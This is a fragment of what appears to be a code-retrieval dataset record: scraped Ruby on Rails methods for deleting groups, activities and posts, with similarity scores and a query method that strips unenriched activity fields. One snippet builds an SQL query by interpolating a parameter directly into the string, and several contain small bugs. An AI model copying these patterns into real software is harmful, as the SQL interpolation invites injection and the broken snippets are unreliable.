@group.tuners.clear\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "def get_wp_activity_posts(group_slug = 'agriculture-team')\n # wp_sfposts\n wp.query(<<-QUERY).to_a\n SELECT a.id post_id, a.content, u.display_name post_user, u.user_login, u.user_email, g.name, a.date_recorded, \n gu.user_email group_user_email, gu.display_name group_creator\n FROM wp_bp_activity a \n JOIN wp_users u ON u.id = a.user_id\n JOIN wp_bp_groups g ON g.id = a.item_id\n JOIN wp_users gu ON gu.id = g.creator_id\n WHERE a.component = 'groups' AND a.type = 'activity_update' AND g.slug = '#{group_slug}'\n ORDER BY a.date_recorded ASC\n QUERY\n end", "def edit_groups\n search_by_type_and_mode(:group, ::ACL.Write).map(&:agent_name)\n end", "def remove_all\n @batch = Batch.shod(params[:id])\n @exam_groups = @batch.exam_groups.all\n end", "def remove_from_all_groups\n self.group_memberships.each {|m| m.destroy}\n end", "def prune(bd)\n pruned = []\n bd.each do |build|\n causes = build['actions'].find_all { |elt| elt.key?('causes') } \n upstream = causes.reject { |elt| elt['causes'].eql?([{}]) }\n ad_hoc_builds = upstream.find_all { |u| u['causes'][0]['upstreamProject'].include?('ad_hoc') }\n next unless ad_hoc_builds.empty?\n pruned.push(build)\n end\n pruned\n end", "def reposts\n Comment.where(:original_id => self.id).where(['id != ?', self.id])\n end", "def remove_activity(activity_or_id, foreign_id: false)\n if foreign_id\n write_feed.remove_activity(activity_or_id, foreign_id: true)\n elsif activity.respond_to(:id)\n write_feed.remove_activity(activity_or_id.id)\n else\n write_feed.remove_activity(activity_or_id)\n end\n end", "def after_update_group\n\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller || self.changed.blank?\n\n current_user = PublicActivity.get_controller.current_user\n\n self.create_activity :update, owner: current_user,organization_id: self.organization_id, params: {:detail => I18n.t('logs.update_group', group_name: self.name)}\n\n end", "def destroy_all\n @course.groups.each(&:destroy)\n @course.update(has_group: false, state: \"choose_algo\")\n respond_to do |format|\n format.html { redirect_to grouping_course_path(@course) }\n format.json { head :no_content }\n end\n end", "def rewrite_feed(group, id)\n case group\n when 'user' then ['profile', id]\n when 'user_aggr' then ['profile_aggr', id]\n when 'media_airing' then ['media_releases', id]\n when 'episode' then ['unit', \"Episode-#{id}\"]\n when 'episode_aggr' then ['unit_aggr', \"Episode-#{id}\"]\n when 'chapter' then ['unit', \"Chapter-#{id}\"]\n when 'chapter_aggr' then ['unit_aggr', \"Chapter-#{id}\"]\n when 'post_comments_aggr', 'private_library' then nil\n else [group, id]\n end\n end", "def destroy\n @activity.destroy\n respond_to do |format|\n format.html do\n redirect_to group_activities_url(@group)\n flash_message(:info, 'Activity was successfully destroyed.')\n end\n format.json { head :no_content }\n end\n end", "def delete_activities\n self.activities.delete_all\n end", "def delete_group(group)\n\t\t\tend", "def delete_group(group)\n\t\t\tend", "def modify_image_launch_perm_remove_groups(image_id, user_group=['all'])\n modify_image_attribute(image_id, 'launchPermission', 'remove', :user_group => user_group.to_a)\n end", "def destroy\n @collection = Collection.find(params[:id])\n authorize! :destroy, @collection\n\n collectifies = Collectify.where(:collection_id=>@collection)\n collectifies.each do |collectify|\n PublicActivity::Activity.where(\"trackable_type = ? AND trackable_id = ?\", \"Collectify\", collectify.id).destroy_all \n end\n\n PublicActivity::Activity.where(\"trackable_type = ? AND trackable_id = ?\", \"Collection\", @collection.id).destroy_all\n\n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to user_path(current_user.username) }\n format.json { head :no_content }\n end\n end", "def prune\n if Comment.count > 15\n comment = Comment.order('id asc').first\n comment.destroy\n end\n end", "def destroy\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "def end_group(kind); end", "def end_group(kind); end", "def remove(activity)\n file_text = []\n\n readlines {|row| file_text << row if row !~ /#{activity}/}\n write(file_text)\n end", "def is_groupblog?\n !self.user_id\n end", "def may_destroy_group_announcements?(group)\n\t\t\tmay_administrate? || is_group_moderator?(group)\n\t\tend", "def destroy\n \n @events = Event.where(group_id: params[:id])\n @events.each do |event|\n \n @photos = Photo.where(event_id: event.id)\n @photos.each do |photo|\n photo.destroy\n end \n @attendees = Attendee.where(event_id: event.id) \n @attendees.each do |attendee|\n attendee.destroy\n end \n @comments = Comment.where(event_id: event.id) \n @comments.each do |comment|\n comment.destroy\n end\n\n event.destroy\n end\n @interests = Interest.where(group_id: params[:id]) \n @interests.each do |interest|\n interest.destroy\n end\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_group.destroy\n respond_to do |format|\n format.html { redirect_to activity_groups_url, notice: 'Activity group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def build_activity_group group\n return {\n :time => group.max{ |a| a.created_at.to_i }.created_at,\n :type => group.first.trackable_type,\n :activities => group,\n :user_id => group.first.user.id,\n :profile_image => group.first.user.user_fb_data.profile_image,\n :class => group.first.trackable.class.name.downcase\n }\n end", "def unjoin_group\n @disc_group = DiscussionGroup.find(params[:id])\n @unjoin = DiscussionGroupUser.find(:last, :conditions =>[\"discussion_group_id=? AND user_id=? AND is_member=?\", @disc_group.id, @login_user.id, 1])\n if @unjoin.destroy\n\n respond_to do |format|\n format.js\n end\n else\n render :text=>\"Fail\"\n end\n end", "def destroy\n @my_group_comment = My::GroupComment.find(params[:id])\n @my_group_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(my_group_comments_url) }\n format.xml { head :ok }\n end\n end", "def build_activity_set(activity_group, agb)\n scores = Models::Collection.new\n activities = Models::Collection.new\n activity_group.assessment_activity_profile.assessment_activities.each do |activity|\n activity_component = new_activity(activity)\n activities.push activity_component\n scores.push new_score(agb, activity, activity_component)\n end\n \n return Models::ActivitySet.new(\n :name => activity_group.display_name,\n :profile_name => activity_group.assessment_activity_profile.name ,\n :activities => activities,\n :scores => scores,\n :term_name => term_name(activity_group),\n :code =>activity_group.code\n )\n end", "def destroy\n @group = Group.find(params[:id])\n\t\t@pages = Page.where(:category => 'group', :owner => @group.id)\n\t\t@pages.each do |p|\n\t\t\tp.destroy\n\t\tend\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end", "def delete\n @post = Post.find_by(id: params[:id])\n post_gid = GroupId.find_by(post_id: @post.id)\n if post_gid == nil\n @post.destroy\n else\n tags = Tag.where(post_id: @post.id)\n if tags.length == 1\n delete_tag(tags[0], @post)\n else\n tags.each do |tag|\n delete_tag(tag, @post)\n end\n end\n # After unlinking tags from post, simply destroy the post\n @post.destroy\n end\n flash[:notice] = \"Your post has been deleted.\"\n redirect_to(\"/posts/index\")\n end", "def destroy_boats\n boats.each do |b|\n if b.memberships.size == 1\n b.delete\n end\n end\n end", "def after_create_group\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller || self.changed.blank?\n\n current_user = PublicActivity.get_controller.current_user\n\n self.create_activity :create, owner: current_user,organization_id: self.organization_id, params: {:detail => I18n.t('logs.create_group', group_name: self.name)}\n end", "def destroyPost\n\t\t@group_id = params[:group_id]\n @post=Post.find(params[:post_id])\n @post.comments.destroy_all\n\t @post.destroy\n\t if (@post.is_group == true)\n\t \tredirect_to(:controller => 'groups',:action => 'show', :id => params[:group_id])\n\t else\n\t \tredirect_to(:controller =>'projects' ,:action => 'show', :id => params[:project_id])\n\t end\n\tend", "def remove_posts usr\n ConversationProcessor.new(self).remove_posts usr\n end", "def remove_group!( group )\n save if remove_group( group )\n end", "def remove_visibilities_below_threshold\n Visibility.\n active.\n where(created_by: nil, person_id: people_ids_under_threshold).\n each do |visibility|\n visibility.update!(\n removed_by: nil,\n removal_notes: crossed_threshold_message,\n removed_at: Time.current,\n )\n end\n end", "def destroy_similar\n group.memberships.where(:user_id => user.id).destroy_all\n end", "def destroy\n @activity = Activity.find(params[:id])\n access_denied unless current_user.is_admin? or @activity.user_id == current_user.id\n @activity.delete!\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.js {\n render :update do |page|\n page.remove 'activity_and_comments_' + @activity.id.to_s\n end \n }\n end\n end", "def uniqify_replicas_of_group(group)\n each_normal_group_record(group) do |g|\n children = g.children.get\n children = getify_array(children)\n\n while children.size > 1 do\n r = children.pop\n if children.map{|c| c.uuid}.include?(r.uuid) then\n # There is a replica of r in children, so let's delete it\n trash(r,g)\n end\n end\n end\n end", "def remove_role_assignments_from_group_members_if_needed\n if entity.type == 'Group'\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n # Tell trigger_sync! to ignore any requests it receives - we'll just put in one\n # sync request after all the new RoleAssignments exist.\n Thread.current[:will_sync_role] = [] unless Thread.current[:will_sync_role]\n Thread.current[:will_sync_role] << role.id\n \n entity.members.each do |m|\n logger.info \"Removing role (#{role.id}, #{role.token}, #{role.application.name}) about to be removed from group (#{entity.id}/#{entity.name} from its member #{m.id}/#{m.name})\"\n ra = RoleAssignment.find_by_role_id_and_entity_id_and_parent_id(role.id, m.id, entity.id)\n if ra\n destroying_calculated_role_assignment do\n ra.destroy\n end\n else\n logger.warn \"Failed to remove role (#{role.id}, #{role.token}, #{role.application.name}) assigned to group member (#{m.id}/#{m.name}) which needs to be removed as the group (#{entity.id}/#{entity.name}) is losing that role.\"\n end\n end\n \n Thread.current[:will_sync_role].delete(role.id)\n role.trigger_sync!\n end\n end\n end", "def destroy\n @group = Group.find(params[:id])\n users = @group.users \n users.each do |user|\n if user.groups.length == 1\n events = Event.where(:organizer => user.id)\n events.each do |event|\n event.destroy\n end\n user.destroy\n end\n end \n \n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully deleted' }\n format.json { head :no_content }\n end\n end", "def show_activities\n @group = Group.find(params[:id])\n end", "def filter_nonproject_groups(group, users, prohibited_groups)\n # weed out groups which have fewer than two users\n return false if users.length < 2\n # weed out groups which failed name resolution (so we get the GID)\n return false if group.to_i.to_s == group\n\n prohibited_regexs = prohibited_groups.map { |regex_str| Regexp.new(regex_str) }\n prohibited_regexs.map! { |r| r.match(group) }.none?\n end", "def remove_group(group)\r\n\t\tsend('RMG', group.info[:guid])\r\n\t\t## XXX save changes locally?\r\n\t\treturn 1\r\n\tend", "def delete_joined_mposts_from_meet(mposts, meet)\n host_ids = Set.new\n mposts.each { |mpost| host_ids << mpost.host_id if mpost.host_id.present? }\n deleted_mposts = []\n meet.mposts.each {|mpost|\n if host_ids.include?(mpost.host_id)\n mpost.delete; mpost.save\n deleted_mposts << mpost\n end\n }\n meet.opt_lock_protected {\n meet.extract_information([], deleted_mposts)\n Rails.kaya_dblock {meet.save}\n }\n end", "def update_muscle_groups groups\n groups = {} unless groups.is_a?(Hash)\n groups.symbolize_keys\n self.muscle_groups = \"\"\n Activity::MUSCLE_GROUP_VALUES.each do |name|\n bit = groups[name] == \"1\" ? \"1\" : \"0\"\n self.muscle_groups = self.muscle_groups + bit\n end\n end", "def verb\n \"unlike\"\n end", "def don_bobfather\n #traversal = self.outgoing(:bobfather).depth(:all).unique(:node_path).eval_paths { |path| (path.end_node[:fbid] == user[:fbid]) ? :include_and_continue : :exclude_and_continue }\n traversal = self.outgoing(:bobfather).depth(:all).to_a.last #. #filter{|path| path.end_node.has_bobfather?}.\n # each{|node| puts node[:name]}\n end", "def clean_up\n Discussion.where(category_id: self.id).each do |d|\n Reply.where(discussion_id: d.id).destroy_all\n Revision.where(discussion_id: d.id).destroy_all\n d.destroy\n end\n end", "def regroup(groups)\n return if groups.empty?\n\n index = groups.count - 2\n while true\n break if index < 0\n if groups[index + 1] && groups[index].char == groups[index + 1].char\n groups[index].count += groups[index + 1].count\n groups.delete_at(index + 1)\n end\n if groups[index].count > 2\n groups.delete_at(index)\n end\n index -= 1\n end\n\n if groups[0] && groups[0].count > 2\n groups.detele_at(0)\n end\nend", "def prune!\n inactive_approvers.each do |user|\n CurrentUser.scoped(User.system) do\n user.update!(level: User::Levels::CONTRIBUTOR)\n user.feedback.create!(category: \"neutral\", body: \"Lost approval privileges\", creator: User.system, disable_dmail_notification: true)\n\n Dmail.create_automated(\n to_id: user.id,\n title: \"Approver inactivity\",\n body: \"You've approved fewer than #{MINIMUM_APPROVALS} posts in the past #{APPROVAL_PERIOD.inspect}. In order to make sure the list of active approvers is up-to-date, you have lost your approval privileges. If you wish to dispute this, you can message an admin to have your permission reinstated.\"\n )\n end\n end\n end", "def remove_sport\n 'basketball|baseball|softball|football|womens basketball'\n end", "def ListView_RemoveAllGroups(hwnd) send_listview_message(hwnd, :REMOVEALLGROUPS) end", "def adjust_groups(response)\n Group.destroy_all\n delete_matches(response)\n create_groups(response)\n redirect_to root_path\n end", "def clear\n 1.upto(@gsize) do |j|\n 1.upto(@gsize) do |i|\n stone = @ban[j][i]\n stone.group.clear if stone.group\n end\n end\n # Collect all the groups and put them into @garbage_groups\n @killed_groups.shift # removes @@sentinel\n @merged_groups.shift # removes @@sentinel\n @garbage_groups.concat(@killed_groups)\n @garbage_groups.concat(@merged_groups)\n @killed_groups.clear\n @killed_groups.push(@@sentinel)\n @merged_groups.clear\n @merged_groups.push(@@sentinel)\n @num_groups = 0\n @history.clear\n end" ]
[ "0.5517673", "0.53434825", "0.53163147", "0.5316249", "0.52869326", "0.5216957", "0.5164789", "0.51290196", "0.51228005", "0.5109612", "0.5089625", "0.5061488", "0.5012653", "0.50090146", "0.49797618", "0.49676567", "0.49643195", "0.4956944", "0.49215516", "0.49009544", "0.48966816", "0.4894417", "0.489391", "0.48779693", "0.483477", "0.4818992", "0.48037896", "0.4802812", "0.47865716", "0.4783674", "0.47772443", "0.47690818", "0.47611418", "0.47566777", "0.47453508", "0.47331285", "0.47327152", "0.47295612", "0.47265458", "0.46942055", "0.46940246", "0.46703324", "0.46649462", "0.4662942", "0.46593475", "0.4653238", "0.4644309", "0.46364525", "0.4635174", "0.46298227", "0.4625298", "0.46054515", "0.4604228", "0.46016422", "0.45868564", "0.45848322", "0.4581222", "0.4581222", "0.45801413", "0.45708033", "0.45609656", "0.45570406", "0.4540401", "0.4540401", "0.45402282", "0.45397338", "0.45365322", "0.4528957", "0.45288858", "0.45259425", "0.45173752", "0.45169225", "0.4514935", "0.4512724", "0.4512442", "0.45115316", "0.45095757", "0.45093587", "0.4506938", "0.45057213", "0.45050567", "0.44857857", "0.4476529", "0.44762963", "0.44760224", "0.44758177", "0.44704124", "0.44648716", "0.44596592", "0.44469342", "0.44464478", "0.4438213", "0.44344702", "0.44330332", "0.4432755", "0.44323114", "0.44314024", "0.44271457", "0.44258812", "0.44247672" ]
0.70495456
0
Strips enrichment failures from the activities TODO: switch to using apply_maps
def strip_unenriched(activities, includes) activities.map do |act| if act['activities'] # Recurse into activity groups act['activities'] = strip_unenriched(act['activities'], includes) else includes.each do |key| # If it's an array (nested enrichment), grab the top level key = key.first if key.is_a?(Array) # Delete if it's still a string act.delete(key.to_s) if act[key.to_s].is_a?(String) end end act end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strip_unused(activity_groups)\n activity_groups.each do |group|\n return activity_groups unless group['activities']\n next unless STRIPPED_VERBS.include?(group['verb'])\n group['activities'] = [group['activities'].first]\n end\n activity_groups\n end", "def apply_maps(activities, maps)\n return activities if maps.empty?\n activities.map do |act|\n if act['activities'] # Recurse into activity groups\n act['activities'] = apply_maps(act['activities'], maps)\n act\n else\n maps.reduce(act) { |acc, elem| elem.call(acc) }\n end\n end\n end", "def update_failures!(failure, error, recs = nil)\n msg = error.to_s\n ids = recs&.map { |rec| manifest_item_id(rec) } || failure.keys\n ids.each do |id|\n if !failure[id]\n failure[id] = { error: msg }\n elsif !failure[id].is_a?(Hash)\n failure[id] = { error: [*failure[id], msg].uniq.join('; ') }\n else\n failure[id][:error] = [*failure[id][:error], msg].uniq.join('; ')\n end\n end\n end", "def collect_failures(template)\n results = rules.map do |rule|\n result = rule.apply(template)\n result == true ? true : Smash.new(:rule => rule, :result => result)\n end\n results.delete_if { |i| i == true }\n results\n end", "def cmvc_extract_changed rmap\n\n raise \"oops, not done\"\nend", "def applyBadConsequence(m)\n badConsequence = m.getBadConsequence\n nLevels = badConsequence.getLevels\n decrementLevels(nLevels)\n pendingBad = badConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pendingBad)\n \n end", "def wrapped_causes; end", "def parse_failure_cause; end", "def failure_message(activity)\n case activity\n when \"skip_fact_check\" then \"Could not skip fact check for this publication.\"\n when \"start_work\" then \"Couldn't start work on #{description(edition).downcase}\"\n else \"Couldn't #{activity.to_s.humanize.downcase} for #{description(edition).downcase}\"\n end\n end", "def failures; end", "def failures; end", "def failures; end", "def apply_errors\n apply_errors_get(data)\n end", "def log_fitting_failures\n\n @logger.info { \"fitting failures by type:\" }\n\n @failures.each_key do |k|\n\n @logger.info { FAILURE_REASONS[k] + \": \" + @failures[k].to_s }\n\n end\n\n end", "def p_legacy_appeal(appeal)\n quietly do\n tasks = LegacyWorkQueue.tasks_by_appeal_id(appeal.vacols_id)\n puts \"____________________\"\n puts \"---- Legacy Tasks\"\n tasks.map do |t|\n puts \"#{t.class.name}, assigned_by: #{t.assigned_by&.inspect} #{t.assigned_by&.sdomainid}, assigned_to: #{t.assigned_to&.inspect} #{t.assigned_to&.sdomainid}, at: #{t.assigned_at}\\n\"\n rescue StandardError\n puts \"#{t.class.name}, assigned_by: #{t.assigned_by&.inspect}, assigned_to: #{t.assigned_to&.inspect}, at: #{t.assigned_at}\\n\"\n end\n\n puts \"---- Prior Locations\"\n puts \"changed_at, change_to, changed_by, prior_loc\"\n # pp appeal.location_history.pluck(:locdout, :locstto, :locstrcv, :locstout)\n pp appeal.location_history.map(&:summary)\n puts \"^^^^^^^^^^^^^^^^^^^^\"\n tasks\n end\nend", "def consolidate_failures(failed)\n filters = new_hash_of_arrays\n\n class_map = Hash[*self.find_order.grep(/^spec/).map { |f| # TODO: ugly\n [path_to_classname(f), f]\n }.flatten]\n class_map.merge!(self.extra_class_map)\n\n failed.each do |method, klass|\n if class_map.has_key? klass then\n filters[class_map[klass]] << method\n else\n output.puts \"Unable to map class #{klass} to a file\"\n end\n end\n\n return filters\n end", "def apply_warnings\n apply_problems_get(data).select do |problem|\n (sTring(problem.Severity) =~ %r{(Критичная|Critical)}).nil?\n end\n end", "def scrub_activity!\n activities.each do |activity|\n activity.scrub!\n end\n end", "def applyBadConsequence(m)\n if(m.getBadConsequence.isDeath)\n discardAllTreasures\n else\n decrementLevels(m.getBadConsequence.getLevels)\n pbc=m.getBadConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pbc)\n end\n\n end", "def map_actions\n actions = []\n return actions if @unmapped_items.empty?\n free_tems_with_sec(:mapper).each do |tem|\n break unless item = @unmapped_items.pop\n @free_tems.delete [@rindex_tems[tem], tem]\n actions.push :action => :map, :item => item, :with => tem,\n :output_id => next_output_id\n end\n actions\n end", "def dump_failures\n super\n return if failed_examples.empty?\n if self.class.config[:growl_failures]\n\n msg = failed_examples.each_with_index.map do |example, idx|\n [\"#{idx+1}. it #{example.description}\",\n example.metadata[:execution_result][:exception]]\n end.flatten.join(\"\\n\\n\")\n\n ::Growl.notify_warning msg, {\n :title => \"#{failed_examples.size} specs failed\"\n }.merge(self.class.growlnotify_config)\n end\n end", "def restricted_map(callbacks); end", "def failure_message(activity)\n case activity\n when 'skip_fact_check' then \"Could not skip fact check for this publication.\"\n when 'start_work' then \"Couldn't start work on #{description(resource).downcase}\"\n else \"Couldn't #{activity.to_s.humanize.downcase} for #{description(resource).downcase}\"\n end\n end", "def permanent_failures\n [\n Magick::ImageMagickError,\n UnsupportedInputFormat,\n ImageVise::ImageRequest::InvalidRequest\n ]\n end", "def format_error(problems)\n problems.map do |problem|\n problem.keep_if do |k,v|\n [:message,:line,:column,:check].include?(k)\n end\n end.to_yaml\nend", "def failures=(_arg0); end", "def failures=(_arg0); end", "def collapse_locs(condensed)\n\t supl = ['orders','summary_holdings','supplements','indexes','notes','reproduction_note','current_issues']\n\t cond2 = []\n\t lstat = istat = []\n\t count_cond2 = {}\n\t condensed.each do |loc|\n\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) location=#{loc['location_name']} #{loc['call_number']}\\n\"\n\t if count_cond2[\"#{loc['location_name']} #{loc['call_number']}\"].blank?\n\t\tcount_cond2[\"#{loc['location_name']} #{loc['call_number']}\"] = {}\n\t\tcount_cond2[\"#{loc['location_name']} #{loc['call_number']}\"][\"count\"] = 1\n\t\tcount_cond2[\"#{loc['location_name']} #{loc['call_number']}\"][\"holdings\"] = [loc]\n\t else\n\t\tcount_cond2[\"#{loc['location_name']} #{loc['call_number']}\"][\"count\"] += 1\n\t\tcount_cond2[\"#{loc['location_name']} #{loc['call_number']}\"][\"holdings\"] << loc\n\t end\n\t end\n\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) count_cond2=#{count_cond2.inspect}\"\n\t count_cond2.each do |key,loc|\n\t for i in 0..(loc['holdings'].size-1) do\n\t\t##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) i=#{i} loc holdings i =#{loc['holdings'][i].inspect}\"\n\t\t# first one just copy data.\n\t\tif i == 0\n\t\t cond2 << loc['holdings'][i]\n\t\t next\n\t\telse\n\t\t # update copies data -- items counts and statuses\n\t\t istat = cond2[cond2.size-1]['copies'][0]['items'].keys\n\t\t lstat = loc['holdings'][i]['copies'][0]['items'].keys\n\t\t bstat = (istat | lstat)\n\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) bstat=#{bstat.inspect}\"\n\t\t bstat.each do |s|\n\t\t if (!cond2[cond2.size-1]['copies'][0]['items'][s].blank? && !loc['holdings'][i]['copies'][0]['items'][s].blank? )\n\t\t cond2[cond2.size-1]['copies'][0]['items'][s]['count'] += loc['holdings'][i]['copies'][0]['items'][s]['count']\n\t\t end\n\t\t if (cond2[cond2.size-1]['copies'][0]['items'][s].blank? && !loc['holdings'][i]['copies'][0]['items'][s].blank?)\n\t\t cond2[cond2.size-1]['copies'][0]['items'][s] = loc['holdings'][i]['copies'][0]['items'][s]\n\t\t end\n\t\t end #bstat.each\n\t\t # copy or add to supplementary data\n\t\t supl.each do |type|\n\t\t if type == 'current_issues'\n\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) type = 'current issues '@@@@ loc[holdings[i][type] =\" + loc['holdings'][i][type].inspect\n\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ loc[holdings[i] =\" + loc['holdings'][i].inspect\n\t\t end\n\t\t if !loc['holdings'][i][type].blank? && !cond2[cond2.size-1]['copies'][0][type].blank?\n\t\t if type == 'current_issues'\n\t\t\t##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ copying current issues to \" + cond2[cond2.size-1]['copies'][0][type].inspect\n\t\t end\n\t\t if type == 'summary_holdings'\n\t\t\tdiv = ';'\n\t\t else\n\t\t\tdiv = ';'\n\t\t end\n\t\t if !cond2[cond2.size-1]['copies'][0][type].include?(loc['holdings'][i][type])\n\t\t\tcond2[cond2.size-1]['copies'][0][type] << div + loc['holdings'][i][type]\n\t\t\tif type == 'indexes'\n\t\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ copying #{type} \" + cond2[cond2.size-1]['copies'][0][type].inspect\n\t\t\t t1str = (cond2[cond2.size-1]['copies'][0][type]).gsub('Indexes: ','')\n\t\t\t t1str.gsub!('; ',';')\n\t\t\t t2str = t1str.split(';')\n\t\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ t2str = \" + t2str.inspect\n\t\t\t t2str.sort!\n\t\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ t2str = \" + t2str.inspect\n\t\t\t cond2[cond2.size-1]['copies'][0][type] = 'Indexes: ' + t2str.join(';')\n\t\t\tend\n\t\t\tif type == 'summary_holdings'\n\t\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ copying #{type} \" + cond2[cond2.size-1]['copies'][0][type].inspect\n\t\t\t t1str = (cond2[cond2.size-1]['copies'][0][type]).gsub('Library has: ','')\n\t\t\t t1str.gsub!('<br/>','')\n\t\t\t t1str.gsub!('&nbsp;','')\n\t\t\t t1str.gsub!('; ',';')\n\t\t\t #t2str = t1str.split(';')\n\t\t\t t2str = t1str.split(div)\n\t\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ t2str = \" + t2str.inspect\n\t\t\t t2str.sort!\n\t\t\t ##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ t2str = \" + t2str.inspect\n\t\t\t #cond2[cond2.size-1]['copies'][0][type] = ('Library has: ' + t2str.join(';')).html_safe\n\t\t\t cond2[cond2.size-1]['copies'][0][type] = ('Library has: ' + t2str.join(';<br/>&nbsp;&nbsp;&nbsp;&nbsp;')).html_safe\n\t\t\tend\n\t\t end\n\t\t end\n\t\t if !loc['holdings'][i][type].blank? && cond2[cond2.size-1]['copies'][0][type].blank?\n\t\t if type == 'current_issues'\n\t\t\t##Rails.logger.debug \"\\nes287_debug #{__FILE__} line(#{__LINE__}) @@@@ copying current issues to \" + cond2[cond2.size-1]['copies'][0][type].inspect\n\t\t end\n\t\t cond2[cond2.size-1]['copies'][0][type] = loc['holdings'][i][type]\n\t\t end\n\t\t end #supl.each do\n\n\t\tend #if i == 0\n\t end #for i in 0 .. loc\n\t end #count_cond2\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) count_cond2=#{count_cond2.inspect}\"\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) cond2=#{cond2.inspect}\"\n\t #condensed\n\t if false\n\t cond2.each do |loc|\n\t if loc['copies'][0]['items']['Available'] && loc['copies'][0]['items']['Available'].size > 0\n\t loc['copies'][0]['items'][' Available'] = loc['copies'][0]['items']['Available']\n\t end\n\t loc['copies'][0]['items'].delete('Available')\n\n\t end\n\t end\n\t cond2\n\t end", "def revert_conflicts\r\n self.update_conflicts(-1)\r\n #@tile.hit()\r\n end", "def failure_message_continuation; end", "def diagnose(source, api_map); end", "def default_consequence\n ->(breaches) { context.fail!(breaches) }\n end", "def default_consequence\n ->(breaches) { context.fail!(breaches) }\n end", "def failure_message_when_negated; end", "def failure_message_when_negated; end", "def failure_message_when_negated; end", "def test_error_reapply\n\n pdef = Ruote.process_definition do\n nada\n end\n\n wfid = @dashboard.launch(pdef)\n wait_for(wfid)\n\n ps = @dashboard.process(wfid)\n\n exp = ps.expressions.find { |fe| fe.class == Ruote::Exp::RefExpression }\n\n assert_not_nil exp\n\n @dashboard.register_participant :nada do |workitem|\n tracer << 'done.'\n end\n\n @dashboard.re_apply(exp.fei)\n wait_for(wfid)\n\n assert_equal 'done.', @tracer.to_s\n\n assert_equal 0, @dashboard.storage.get_many('errors').size\n end", "def extract_uni_err(mis)\n run_cmd(\n \"samtools view -H #{@names.get('mapped_uniqsort')}\" \\\n \"> #{@names.get('mapped_uni', mis)}\"\n )\n run_cmd(\n \"samtools view -h #{@names.get('mapped_uniqsort')} \" \\\n \"| grep -E '([nN]M:i:#{mis})|(^@)' \" \\\n '| samtools view -S - ' \\\n \">> #{@names.get('mapped_uni', mis)}\"\n )\n end", "def run_warned; end", "def failed_examples_output(notification)\n failed_examples_output = notification.failed_examples.map do |example|\n failed_example_output example\n end\n build_examples_output(failed_examples_output)\n end", "def failed_examples_output(notification)\n failed_examples_output = notification.failed_examples.map do |example|\n failed_example_output example\n end\n build_examples_output(failed_examples_output)\n end", "def failures\n Hash[status.map { |device_key, v| [device_key, v[\"message\"]] } ]\n end", "def optimize_workflow\n end", "def test_failure_during_process_events_does_not_block_other_processors_from_processing_events\n good_processor_1 = DummyAbstractNoRetryProcessor.new\n exploding_processor = DummyAbstractNoRetryProcessor.new\n def exploding_processor.process_events(events)\n events.each do |event|\n process_event(event)\n end\n events\n end\n def exploding_processor.process_event(event)\n if event.entry_id == 'http://example.com/entry/29'\n raise \"Blowing up on 29!\"\n else\n super(event)\n end\n end\n good_processor_2 = DummyAbstractNoRetryProcessor.new\n \n feed = DummyFeed.new(3)\n log_stream = StringIO.new\n event_broadcaster = ProjectEventBroadcaster.new(\n feed, [good_processor_1, exploding_processor, good_processor_2], \n temp_file, 25, Logger.new(log_stream))\n event_broadcaster.run_once\n \n assert(log_stream.string.index('Unable to complete event processing'))\n assert_equal(\n ['http://example.com/entry/28', 'http://example.com/entry/29', 'http://example.com/entry/30'], \n good_processor_1.processed_events.map(&:entry_id)) \n assert_equal(\n ['http://example.com/entry/28'], \n exploding_processor.processed_events.map(&:entry_id)) \n assert_equal(\n ['http://example.com/entry/28', 'http://example.com/entry/29', 'http://example.com/entry/30'], \n good_processor_2.processed_events.map(&:entry_id)) \n end", "def apply_action(hash, util)\n hash.each do |action, gears|\n gears.each do |uuid, g|\n begin\n g.gear.send(action)\n if action == :throttle\n @old_bad_gears[uuid] = g\n end\n log_action(action, uuid, util[uuid])\n rescue RuntimeError => e\n failed_action(action, uuid, e.message)\n end\n end\n end\n end", "def process_ingest_errors(result, *records, **opt)\n\n # If there were no errors then indicate that all items succeeded.\n errors = ExecReport[result].error_table(**opt)\n return records, {} if 